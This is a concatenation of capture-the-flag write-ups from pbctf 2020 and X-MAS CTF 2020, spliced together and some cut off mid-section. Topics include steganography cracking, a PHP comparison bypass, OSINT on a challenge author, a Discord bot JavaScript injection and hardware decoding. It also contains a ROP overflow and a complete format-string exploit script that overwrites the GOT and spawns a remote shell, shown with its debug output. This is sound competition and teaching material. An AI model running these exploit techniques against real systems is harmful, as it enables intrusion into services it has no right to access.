The first half of the payload sends `0x40 - 0x10` (48) bytes then `flag` (see analysis section), then pads out to `0x40` bytes (see stack diagram in analysis section, `buff` is `0x40` bytes from return address on stack).
Next, just follow the _instructions:_ `mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3`
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/pbctf2020/amazing_rop/bof' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to maze.chal.perfect.blue on port 1: Done[*] return_addr: 0x5664b599[*] binary.address: 0x5664a000
0xfff687fc | 41 41 41 41 41 41 41 41 |0xfff68804 | 41 41 41 41 41 41 41 41 |0xfff6880c | 41 41 41 41 41 41 41 41 |0xfff68814 | 41 41 41 41 41 41 41 41 |0xfff6881c | 41 41 41 41 41 41 41 41 |0xfff68824 | 41 41 41 41 41 41 41 41 |0xfff6882c | 66 6c 61 67 41 41 41 41 |0xfff68834 | 41 41 41 41 41 41 41 41 |0xfff6883c | 96 b3 64 56 37 13 00 00 |0xfff68844 | 37 13 03 00 10 0f 5e ba |You did it! Congratuations!Returning to address: 0x5664b396pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}Segmentation fault[31337.1337] bof.bin[1753]: segfault at f7f50000 ip 00000000f7f50000 sp 00000000fff68858```
Flag: `pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}` |
# Peculiar Gifts**Category** : Misc **Author**: EuroStar **Description**: > Hey! I found these two pictures under the Christmas tree! They seem a little bit odd... do you think there might be something hidden inside them? I'll let you take a look.
**Attached files (Gifts.zip)** : * GIFTS.jpg * XMAS.jpeg
## Intended solutionThe challenge comes with two attached jpeg files. Since this challenge is in the "misc" category, there is a good change **steganography** was used to hide the flag in the image. Since the both files are jpgs, the tool that was most likely used to embed data in the files is [steghide](http://steghide.sourceforge.net/).
### Straight-up guessing the password Steghide however, requires a password to recover hidden data. At this point you need to channel your inner Guess God and guess that the password "XMAS" was used for `XMAS.jpeg`.
```> steghide --extract -sf XMAS.jpeg -xf - -p "XMAS"--- Message from Santa Claus ---
Did you know that base64 can be used for encoding scripts and websites?Maybe we can use it for our gifts.```
This message hints at the use of base64 for the remaining jpeg file. By encoding its file name in base64, we can extract the flag:```> echo -n "GIFTS" | base64R0lGVFM=> steghide --extract -sf GIFTS.jpg -xf - -p "R0lGVFM="X-MAS{l00k$_l!k3_y0u_l1k3_b@sE64}```
### Bruteforcing the password
If you, like me, are not psychic, you may struggle with the first step. Instead of coming up with guesses yourself, you could use a bruteforcer like [stegseek *](https://github.com/RickdeJager/stegseek) along with a large wordlist ([crackstations for example](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm))```> stegseek XMAS.jpeg crackstation-human-only.txtStegseek version 0.4[i] Read the entire wordlist (63941069 words), starting cracker[ 62829393 / 63941069 ] (98,26%) [i] --> Found passphrase: "XMAS"
[i] Original filename: "xmas.txt"[i] Extracting to "XMAS.jpeg.out"```
## Unintended solve, not using a password at all
Turns out there is a really easy way to solve this challenge, because the author disabled steghides encryption. This allows you to retrieve the flag directly without needing the correct password ```> stegseek --seed GIFTS.jpg -Stegseek version 0.4[ 823160104 / 4294967295 ] (19,17%) [i] --> Found seed: "45ff2f96"
Plain size: 47,0 Byte(s) (compressed)Encryption Algorithm: noneEncryption Mode: cbc[i] Original filename: "flag.txt"[i] Extracting to stdoutX-MAS{l00k$_l!k3_y0u_l1k3_b@sE64}```
\* **Disclaimer**: I wrote this tool, other steghide bruteforcers are available :) . |
# PHP Master (50 points)
## Description
Another one of *those* challenges.
Target: http://challs.xmas.htsp.ro:3000/
Author: yakuhito
## Solution
```php
```
You just need to bypass the filters here. You can see that there are two comparison operators, one just checks the similarity (==), and the other checks the similarity of types (===). I opened the [documentation](https://www.php.net/manual/en/language.operators.comparison.php) and immediately found the answer.
```phpvar_dump(100 == "1e2"); // 100 == 100 -> true```
But we need to bypass one more filter: the presence of the letter "e" in the string. Simple as it is, just make it uppercase. As a result, we got such a request:
```urlhttp://challs.xmas.htsp.ro:3000/?param1=1E2¶m2=100```
Flag: X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42} |
# Dox the Yak v4
**Category**: Misc \**Points**: 491 \**Author**: yakuhito
## Challenge
You have been warned that this could happen. \Note: Wrap the feet-related thing with X-MAS{}
## Solution
Solved with tourpran.
1. Stalk him on Twitter

2. Look at his other challenges (e.g. The Cat):```$ strings logs.pcapngIntel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz (with SSE4.2)Linux 4.15.0-123-genericDumpcap (Wireshark) 2.6.10 (Git v2.6.10 packaged as 2.6.10-1~ubuntu18.04.0)...```
3. He uses Ubuntu. Check all Ubuntu subdomains using Sublist3r```kubuntu.comwww.kubuntu.comwww.ubuntu.com360.ubuntu.comaccess.ubuntu.comadvantage.ubuntu.comapps.ubuntu.compublic.apps.ubuntu.com...usn.ubuntu.comusshop.ubuntu.comwww.usshop.ubuntu.comvideosearch.ubuntu.comwebapps.ubuntu.comwebstats.ubuntu.comwiki.ubuntu.com```
4. Find [hockeypuck.ubuntu.com](http://hockeypuck.ubuntu.com/)

5. Search for `yakuhito`

6. Profit```X-MAS{dox_dox_dox_the_yak-that_rimes_with_kayak-but_what_rimes_with_dox-i_think_they_are_called_socks-375846d2ed3e9b7d}``` |
# Comfort Bot
**Category**: Web explotation \**Points**: 432 \**Author**: Milkdrop
## Challenge
This year has been a tough biscuit for everyone here in Lapland. Thankfully,the inventive gnome engineers here have built a Comfort Bot that comfortspeople! It might not offer thoughtful conversations, but it certainly is a goodlistener... The gnomes made it available on the official X-MAS CTF Discordserver! How convenient. The bot is called: **Comfort Bot#7245**. You wouldn't breakit... would you? Note: flag is at `localhost/flag`
File: `bot.zip`
## Solution
Among other functionality, this bot likes respond with clever responses. Itout-sources this to [cleverbot.com](https://www.cleverbot.com/).
The responsible file is `responseEngines/cleverbot/driver.py`.
```pythondef createCleverDriver (): global driver
print("create1") chrome_options = Options() chrome_options.add_argument ("--headless") chrome_options.add_argument ("--no-sandbox") chrome_options.add_argument ("--disable-dev-shm-usage") chrome_options.binary_location = "/usr/bin/chromium" driver = webdriver.Chrome (executable_path = "/chall/chromedriver", options = chrome_options) print("create2")
...
async def getCleverResponse (authorID, txt): global driver
try: driver.execute_script("window.open('http://localhost/','_blank');") windows[authorID] = driver.window_handles[-1] switchToAuthorWindow(authorID)
script = "cleverbot.sendAI('{0}')".format (txt) driver.execute_script (script) while (driver.execute_script ("return cleverbot.aistate") != 0): await asyncio.sleep (0.4) switchToAuthorWindow(authorID)
reply = driver.execute_script ("return cleverbot.reply") switchToAuthorWindow(authorID) driver.execute_script("window.close()") driver.switch_to_window(driver.window_handles[0]) return reply except: CreateCleverDriver ()```
So basically they're using a headless Chromium instance and sending itJavaScript commands to:- Open a new tab to a local instance of `cleverbot.com`- Request a response using `cleverbot.sendAI()`- Get the response in `cleverbot.reply()`
You can test these `cleverbot` commands on[cleverbot.com](https://www.cleverbot.com/) and they indeed work.
Anyway, the vulnerability here is this line:```pythonscript = "cleverbot.sendAI('{0}')".format (txt)```
We control `txt` and the program doesn't sanitize it, so we can injectJavaScript. Here's the plan:1. Send a HTTP request to `localhost/flag`2. Put the response in `cleverbot.reply`3. Profit
 |
# Santa's Penthouse (Work in Progress) [484]SOLVED (**Osmium Award**!)
Bringing happiness and joy is a profitable business. So lucrative that Santa has amassed enough wealth to start bulding a brand new penthouse. Let's hope he finishes it before New Year's.
**Target**: nc challs.xmas.htsp.ro 2006
**Author**: PinkiePie1189
**Files**: chall
#### [`pwnscripts`](https://github.com/152334H/pwnscripts) assisted greatly in handling the format string exploits here. Try it!
## MenuThe binary has 3 options, each of which can only be used once.1. Leave a message (`leave_message()`). This message is piped to `printf()` in a _limited_ format string bug, where `%n` **writes are banned**.2. Steal a gift (`take_gift()`). This takes the contents of the remote file `secret` and dumps it into heap memory, with its location provided to the user as a `%p` pointer.3. Exit. This calls `exit(0)`.
As far as I'm aware, `leave_message()` is impossible to exploit. As a result, I choose to leak out the contents of `secret` with a `%s` `printf()` call.```pythonfrom pwnscripts import *context.binary = 'santa_penthouse'def printf(s:bytes): r = remote('challs.xmas.htsp.ro', 2006) r.sendlineafter('Exit.\n', '1') r.sendafter('Santa?\n', s) r.recvuntil('message: ') return r.recvline()offset = fsb.find_offset.buffer(printf, 200)
def leakfrom(dist:int): r = remote('challs.xmas.htsp.ro', 2006) r.sendlineafter('Exit.\n', '2') secret = unpack_hex(r.recvline()) r.sendlineafter('Exit.\n', '1') log.info(repr(b'leaking ' + hex(secret+dist).encode() + b' i.e. ' + pack(secret+dist))) r.sendlineafter('Santa?\n', fsb.leak.deref_payload(offset, [secret+dist])) r.recvuntil('message: ') secret_data, = fsb.leak.deref_extractor(r.recvline()) r.close() return secret_data+b'\0'print(leakfrom(0))```This leads to the disturbing discovery that `secret` is an entire ELF:```python[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done[*] pwnscripts.fsb.find_offset for buffer: 8[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done[*] b'leaking 0x5609f89464c0 i.e. \xc0d\x94\xf8\tV\x00\x00'[*] Closed connection to challs.xmas.htsp.ro port 2006b'\x7fELF\x02\x01\x01\x00'```Leaking the entire thing requires a shit ton of time if we're going to do it with `printf()` alone.```pythonwith open('secret', 'r+b') as f: written = 0 # replace this if the script terminates halfway for whatever reason f.seek(written) while 1: log.info('leaking from %d' % written) try: data = leakfrom(written) except EOFError: continue written += len(data) f.write(data) f.flush()```Leaving this program running, I left to do some [other challenges](if_you_see_this_url___i_forgot_to_change_this_link). Once the downloaded data matched (around) the size of `./chall`, the file was essentially valid for analysis:```sh$ file secretsecret: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped```## `secret````$ checksec secret[*] '/secret' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```Unlike the previous binary, stack canaries and PIE are disabled.```In the secret binary, I spy these `strings`:$ strings secret...GumaTurbo123!Access granted! Filters disabled!Check out port 14712...```It looks like `GumaTurbo123!` is a password for the service at 14712 (I tried putting it as a password for the original service at port 2006 too — no dice). Let's try that.```sh$ nc challs.xmas.htsp.ro 14712GumaTurbo123!Access granted! Filters disabled!Check out port 14712%p0x7ffe39c01c60```Although I've not proven anything yet, this service _probably_ provides an unrestricted `printf()` call.
The code within `secret` `main()` was a little bit broken in transmission, but after patching a few bytes, I'm able to verify that claim:```cvoid main() { char s[264]; // [rsp+0h] [rbp-110h] BYREF setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); fgets(s, 255, stdin); if ( memcmp(s, "GumaTurbo123!", 0xFuLL) ) exit(0); puts("Access granted! Filters disabled!"); puts("Check out port 14712"); fflush(stdout); fgets(s, 255, stdin); printf(s); exit(0);}```Since the GOT table is still writable, I made a basic payload to overwrite `exit()` with `main()`, forming a loop:```pythonfrom pwnscripts import *context.binary = 'secret'context.binary.symbols['main'] = 0x401176context.log_level = 'debug'
def printf(s): r = remote('challs.xmas.htsp.ro', 14712) r.sendline('GumaTurbo123!') r.sendafter('14712\n', s) return r.recvall()offset = fsb.find_offset.buffer(printf,50)
r = remote('challs.xmas.htsp.ro', 14712)def cycle(s, until=None): r.sendline('GumaTurbo123!') r.sendlineafter('14712\n', s) if until is None: return None return r.recvuntil(until)cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')r.interactive()```This clearly works on testing:```python[DEBUG] Received 0x16 bytes: b'\n' b'Check out port 14712\n'[DEBUG] Sent 0x41 bytes: 00000000 25 31 31 38 63 25 31 31 24 6c 6c 6e 25 31 35 35 │%118│c%11│$lln│%155│ 00000010 63 25 31 32 24 68 68 6e 25 34 37 63 25 31 33 24 │c%12│$hhn│%47c│%13$│ 00000020 68 68 6e 61 61 61 61 62 40 40 40 00 00 00 00 00 │hhna│aaab│@@@·│····│ 00000030 41 40 40 00 00 00 00 00 42 40 40 00 00 00 00 00 │A@@·│····│B@@·│····│ 00000040 0a │·│ 00000041[DEBUG] Received 0x148 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000070 20 20 20 20 20 10 20 20 20 20 20 20 20 20 20 20 │ │ · │ │ │ 00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000110 d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │ 00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ 00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 51 │ │ │ │ Q│ 00000140 61 61 61 61 62 40 40 40 │aaaa│b@@@│ 00000148[*] Switching to interactive modeaaab@@@$ GumaTurbo123![DEBUG] Sent 0xe bytes: b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes: b'Access granted! Filters disabled!'```With infinite `printf()` abuse available, all we really need to do is to return to libc's `system()` for the flag.
I started by determining the libc version with the [dev branch of pwnscripts](https://github.com/152334H/pwnscripts/tree/dev) + [libc-database](https://github.com/niklasb/libc-database):```pythoncontext.libc_database = 'libc-database'GOT_FUNCS = ['puts','setvbuf']addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))context.libc = context.libc_database.libc_find(libc_addrs)```This part of the code runs on a second remote connection, and doesn't affect the previous connected `remote()`.```python[+] Opening connection to challs.xmas.htsp.ro on port 14712: Done[DEBUG] Sent 0xe bytes: b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes: b'Access granted! Filters disabled!'[DEBUG] Received 0x16 bytes: b'\n' b'Check out port 14712\n'[DEBUG] Sent 0x29 bytes: 00000000 5e 5e 25 39 24 73 7c 7c 25 31 30 24 73 24 24 00 │^^%9│$s||│%10$│s$$·│ 00000010 19 19 19 19 19 19 19 19 18 40 40 00 00 00 00 00 │····│····│·@@·│····│ 00000020 38 40 40 00 00 00 00 00 0a │8@@·│····│·│ 00000029[+] Receiving all data: Done (18B)[DEBUG] Received 0x12 bytes: 00000000 5e 5e a0 1a 2c be 2c 7f 7c 7c d0 23 2c be 2c 7f │^^··│,·,·│||·#│,·,·│ 00000010 24 24 │$$│ 00000012[*] Closed connection to challs.xmas.htsp.ro port 14712[*] found libc! id: libc6_2.27-3ubuntu1.3_amd64```I could've probably guessed that libc id from other challenges, but whatever, I have it now.
On the actual original `remote()`, one `cycle()` is used to leak libc from the GOT, and another is used to overwrite `printf()` with libc `system()` at the GOT. Once that's done, the next cycle will run `system()` on whatever the input format string is, which I'll set to be `"/bin/sh"`.```pythonputs, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])context.libc.calc_base('puts', unpack_bytes(puts,6))cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')cycle('/bin/sh\0')
r.interactive()``````python[DEBUG] Sent 0x1a bytes: 00000000 5e 5e 25 38 24 73 24 24 00 19 19 19 19 19 19 19 │^^%8│$s$$│····│····│ 00000010 18 40 40 00 00 00 00 00 0a 0a │·@@·│····│··│ 0000001a[DEBUG] Received 0xa bytes: 00000000 5e 5e a0 6a 2a 40 a1 7f 24 24 │^^·j│*@··│$$│ 0000000a[DEBUG] Sent 0xe bytes: b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes: b'Access granted! Filters disabled!'[DEBUG] Received 0x16 bytes: b'\n' b'Check out port 14712\n'[DEBUG] Sent 0x79 bytes: 00000000 25 38 30 63 25 31 35 24 6c 6c 6e 25 35 63 25 31 │%80c│%15$│lln%│5c%1│ 00000010 36 24 68 68 6e 25 34 32 63 25 31 37 24 68 68 6e │6$hh│n%42│c%17│$hhn│ 00000020 25 33 34 63 25 31 38 24 68 68 6e 25 31 33 34 63 │%34c│%18$│hhn%│134c│ 00000030 25 31 39 24 68 68 6e 25 32 35 63 25 32 30 24 68 │%19$│hhn%│25c%│20$h│ 00000040 68 6e 61 61 61 61 62 61 20 40 40 00 00 00 00 00 │hnaa│aaba│ @@·│····│ 00000050 21 40 40 00 00 00 00 00 25 40 40 00 00 00 00 00 │!@@·│····│%@@·│····│ 00000060 24 40 40 00 00 00 00 00 22 40 40 00 00 00 00 00 │$@@·│····│"@@·│····│ 00000070 23 40 40 00 00 00 00 00 0a │#@@·│····│·│ 00000079[DEBUG] Received 0x149 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 │ │ │ │ p│ 00000050 20 20 20 20 d0 20 20 20 20 20 20 20 20 20 20 20 │ │· │ │ │ 00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ 00000070 20 20 20 20 20 20 20 20 20 20 20 20 20 20 51 20 │ │ │ │ Q │ 00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 000000a0 c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │ 000000b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000120 20 20 20 20 20 20 c0 20 20 20 20 20 20 20 20 20 │ │ · │ │ │ 00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 25 │ │ │ │ %│ 00000140 61 61 61 61 62 61 20 40 40 │aaaa│ba @│@│ 00000149[DEBUG] Sent 0xe bytes: b'GumaTurbo123!\n'[DEBUG] Received 0x21 bytes: b'Access granted! Filters disabled!'[DEBUG] Received 0x16 bytes: b'\n' b'Check out port 14712\n'[DEBUG] Sent 0x9 bytes: 00000000 2f 62 69 6e 2f 73 68 00 0a │/bin│/sh·│·│ 00000009[*] Switching to interactive mode$ ls[DEBUG] Sent 0x3 bytes: b'ls\n'[DEBUG] Received 0x2d bytes: b'bin\n' b'dev\n' b'flag.txt\n' b'fmt_string\n' b'lib\n' b'lib64\n' b'secret\n'bindevflag.txtfmt_stringliblib64secret$ cat flag.txt[DEBUG] Sent 0xd bytes: b'cat flag.txt\n'```That wraps things up.## Flag`X-MAS{1_4m_n07_sl4ck1ng_0ff_1_4m_jus7_w41t1ng_f0r_th3_b1n4ry_t0_b3_l34k3d}`
## final script if something is broken above idk```pythonfrom pwnscripts import *context.binary = 'secret'context.binary.symbols['main'] = 0x401176 # extremely unfortunate hardcoded valuecontext.libc_database = 'libc-database'# pre-remote probingdef printf(s): r = remote('challs.xmas.htsp.ro', 14712) r.sendline('GumaTurbo123!') r.sendafter('14712\n', s) return r.recvall()offset = fsb.find_offset.buffer(printf,50)GOT_FUNCS = ['puts','setvbuf']addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))context.libc = context.libc_database.libc_find(libc_addrs)# loop over main()r = remote('challs.xmas.htsp.ro', 14712)def cycle(s, until=None): r.sendline('GumaTurbo123!') r.sendlineafter('14712\n', s) if until is None: return None return r.recvuntil(until)cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')# return to libcputs, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])context.libc.calc_base('puts', unpack_bytes(puts,6))cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')cycle('/bin/sh\0')r.interactive()``` |
# Santa's Landing Pad
**Category**: Hardware \**Points**: 354 \**Author**: trupples
## Challenge
The elves and I have been working on some christmas lights to aid Santa inlanding back home in the fog. (You have NO IDEA how much we pay in repairsevery few years) Check them out! https://www.youtube.com/watch?v=162DpMTMfMI
File: `landing-pad.jpg`
## Solution
Looking at the video, we the lights showing different patterns at discrete timeintervals. We can assume that they are encoding some kind of message.
Let's start by identifying the hardware:

This is the [Arduino MKR Vidor 4000](https://store.arduino.cc/usa/mkr-vidor-4000).

My teammate bl3drag0nsec identified this as an[ESP8266](https://www.sparkfun.com/products/17146).But we can see from the circuit that it only receives one input from theArduino and doesn't seem to be doing anything special except flashing an LED.
Also, the second ESP8266 chip on the bottom left isn't even connected to anything.
Next let's identify all the LEDS based on which Arduino pin they are connected to:

In summary:- There are 7 LEDs (including the on-board LED) controlled by the Arduino.- The Arduino receives one input from a potentiometer.
We can assume that the Arduino is just mapping the input from the potentiometerto a particular pattern of LEDs.
There are 7 LEDS, so we have 7 bits of information. Luckily, that's enough toencode most of the ASCII range.
We we order the bits like so, we can see that the first state is:```<on-board> <5> <4> <3> <2> <1> <0> 1 0 1 1 0 0 0```
```python>>> chr(0b1011000)'X'```
We know that flags start with `X-MAS{` so we are on the right track.After going through the video and writing down each state, I got the flag:

```X-MAS{W3lc0Me_To_E.E.}``` |
# EMU 1.0
**Category**: Emulation \**Points**: 462 \**Author**: trupples
## Challenge
Solved with NOT_MASTER08.
The EMU 1.0 digitisation project, lead in 2005 by Tahlia E., aimed toimmortalise the almost forgotten EMU 1.0 architecture's program collection.They did not fully succeed, and all their work fell to obscurity, but a naughtyelf got their hands on Tahlia's manual and a few of her programs. The currentissue is they can't find a working EMU 1.0 machine to actually run theprograms. Figure out how the computer worked and get the code running!
**Hint!** Don't get bogged down with the described details! You only need toemulate the overall behaviour of the instructions, not necessarily imitatetheir exact implementation. High-level emulation works as well.
## Solution
We are given `mandelbrot.rom` and a manual explaining how to build an emulatorto run it.
After building the [emulator](https://github.com/qxxxb/emu/), I tried to run the ROM.
```$ ~/Downloads/pypy3.7-v7.3.3-linux64/bin/pypy3 emu.py roms/mandelflag.rompygame 2.0.0 (SDL 2.0.12, python 3.7.9)Hello from the pygame community. https://www.pygame.org/contribute.html........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................,,,,,,,,,,,.............................................................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,.................................................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,........................................................................................,,,,,,,,,,,,,,,,,,,,,---,,,,,,,,,,,,,,,,,,,..................................................................................,,,,,,,,,,,,,,,,,,,,,,,,--~--,,,,,,,,,,,,,,,,,,,.............................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,--##------,,,,,,,,,,,,,,,,........................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,----~#-~##--,,,,,,,,,,,,,,,,,...................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-------~#~-----,,,,,,,,,,,,,,,,,,..............................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---#--#####~----,,,,,,,,,,,,,,,,,,,,.........................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---###########~#~---,,,,,,,,,,,,,,,,,,,......................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------~###########~----,,,,,,,,,,,,,,,,,,,..................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-----------#############------,,,,,,,,,,,,,,,,,,..............................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-----~----------~###########~---------------,,,,,,,,,,..........................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---###~~---#####################~###--------#--,,,,,,,,,.....................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---##################################~~-~##~~###,,,,,,,,,,.................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------~##########################################-,,,,,,,,,,,............................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,--------~#########################################--,,,,,,,,,,,,.......................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------~############################################~----,,,,,,,,,,,,...................,,,,,,,,,,,,,,,,,,,,,---------------------------~#############################################----,,,,,,,,,,,................,,,,,,,,,,,,,,,,,,,,,,,,--~#--------#~------------##################################################~-,,,,,,,,,,,.............,,,,,,,,,,,,,,,,,,,,,,,,,,---#~#~#---~###~-#-------~##################################################--,,,,,,,,,,,............,,,,,,,,,,,,,,,,,,,,,,,,,------~###############~---~#################################################---,,,,,,,,,,,,,.........,,,,,,,,,,,,,,,,,,,,,,,,,,-------~#################~~####################################################-,,,,,,,,,,,,,.........,,,,,,,,,,,,,,,,,,,,,,,,-------~#######################################################################---,,,,,,,,,,,,,.........,,,,,,,,,,,,,,,,,,,,,----~----~#########################################################################-,,,,,,,,,,,,,,,........,,,,,,,,,,,,,,,,,--------~############################################################################---,,,,,,,,,,,,,,,........,,,,,,,---------------#-~###########################################################################~---,,,,,,,,,,,,,,,,........##################################################################################################~-----,,,,,,,,,,,,,,,,........,,,,,,,---------------#-~###########################################################################~---,,,,,,,,,,,,,,,,........,,,,,,,,,,,,,,,,,--------~############################################################################---,,,,,,,,,,,,,,,........,,,,,,,,,,,,,,,,,,,,,----~----~#########################################################################-,,,,,,,,,,,,,,,........,,,,,,,,,,,,,,,,,,,,,,,,-------~#######################################################################---,,,,,,,,,,,,,.........,,,,,,,,,,,,,,,,,,,,,,,,,,-------~#################~~####################################################-,,,,,,,,,,,,,...........,,,,,,,,,,,,,,,,,,,,,,,,,------~###############~---~#################################################---,,,,,,,,,,,,,............,,,,,,,,,,,,,,,,,,,,,,,,,,---#~#~#---~###~-#-------~##################################################--,,,,,,,,,,,...............,,,,,,,,,,,,,,,,,,,,,,,,--~#--------#~------------##################################################~-,,,,,,,,,,,..................,,,,,,,,,,,,,,,,,,,,,---------------------------~#############################################----,,,,,,,,,,,......................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------~############################################~----,,,,,,,,,,,,..........................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,--------~#########################################--,,,,,,,,,,,,...............................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------~##########################################-,,,,,,,,,,,...................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---##################################~~-~##~~###,,,,,,,,,,........................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---###~~---#####################~###--------#--,,,,,,,,,............................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-----~----------~###########~---------------,,,,,,,,,,................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-----------#############------,,,,,,,,,,,,,,,,,,....................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------~###########~----,,,,,,,,,,,,,,,,,,,.......................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---###########~#~---,,,,,,,,,,,,,,,,,,,...........................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---#--#####~----,,,,,,,,,,,,,,,,,,,,...............................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,-------~#~-----,,,,,,,,,,,,,,,,,,....................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,----~#-~##--,,,,,,,,,,,,,,,,,.........................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,--##------,,,,,,,,,,,,,,,,..............................................................................,,,,,,,,,,,,,,,,,,,,,,,,--~--,,,,,,,,,,,,,,,,,,,...................................................................................,,,,,,,,,,,,,,,,,,,,,---,,,,,,,,,,,,,,,,,,,.........................................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.................................................................................................,,,,,,,,,,,,,,,,,,,,,,,,,,..............................................................................................................,,,,,,,,,,,.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................HEYHEY KIDWANT SUM...FLAG?> MAYBE_3CP Z.G#7$[G[ND5~N#VEEHNI|Y```
After the mandelbrot is printed, I'm prompted for input.I didn't know what to type, so I wrote `MAYBE`.Apparently that was not the correct response, because I got some garbageprinted back.Looks like some kind XOR or ROT cipher.
Taking a look at the disassembly we see this:```asm0257: LBL 1537, 00258: IO r1, SERIAL_INCOMING, r00259: CMPUG r1, 30260: - JUP 1537, r00261: IO r60, SERIAL_READ, r00262: IO r61, SERIAL_READ, r00263: IO r0, SERIAL_READ, r00264: IO r0, SERIAL_READ, r0```
The `SERIAL_INCOMING` device returns the number characters that can be read.We can see that it loops until more than 3 characters are buffered.Then it reads the first two characters and discards the next two.
Since only two characters are used, we can just bruteforce all possible bigramsinstead of reversing the encryption.
To do this, I saved the machine state using Python `pickle` after the mandelbrotwas printed. Then in a separate script, I repeatedly loaded the saved stateback and tried different inputs until the output contained `X-MAS`, the flagprefix.
```pythonwith open('emu_state.pkl', 'rb') as f: emu = pickle.load(f)
for bigram in itertools.product(serial_dict, repeat=2): payload = ''.join(bigram) + 'AA' m = copy.deepcopy(emu) m.out = io.StringIO() m.buffer = payload m.run() output = m.out.getvalue() print('{}: {}'.format(payload, output))```
Eventually it found it:```...Y{AA: ^AG$*=$MD[/G/ND5~N#VE4+HRX-Y}AA: }M8OW(V56IN1G1ND5~N#VEB4JJ#)Y#AA: X-MAS{EMU~L3G3ND5~N#VER_D1E}```
# Talkative
**Category**: Emulation \**Points**: 490 \**Author**: trupples
## Challenge
Now that you have an EMU 1.0 emulator, go make a network card and come chatwith us! \ \P.S. you don't need to implement the server card to get the flag
Target: `nc challs.xmas.htsp.ro 5100`
**Hint!** While you don't need to implement a server network card, to get theflag you still need to understand what the server does to your messages.
## Solution
